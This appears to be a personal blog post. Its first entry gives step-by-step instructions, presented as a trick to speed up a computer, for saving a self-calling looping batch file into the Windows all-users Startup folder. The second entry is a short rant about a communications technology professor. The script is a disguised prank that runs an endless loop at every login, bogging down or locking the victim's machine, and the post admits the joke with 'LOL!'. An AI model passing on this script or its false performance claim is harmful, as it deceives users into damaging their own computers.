Magic

Today, I'm going to give you a magic trick!

This is a quick and easy way to speed up the performance on your computer. Give it a try!

Step 1: Open notepad.

Step 2: copy and paste the following code

@echo off
:start
magic.bat
GOTO start

Step 3: Go to File and Save As...

Step 4: Copy and paste the following text into the File name...

For Windows Vista:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\magic.bat

For Windows XP:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\magic.bat

For older computers... well... go buy a new computer and give this a shot...

Step 5: Save.

Step 6: Restart your computer

Step 7: LOL!

Brain numbing

So, my Intro to Communication Technology professor has a computer with 512mb of memory and 200mb of hard drive space. Also there are exactly 1000 bytes in a kilobyte...

I'm going to go home and take a drill to my frontal lobe. I swear I could teach this class in my sleep.

[I think I know where he's hiding the 24 extra bytes]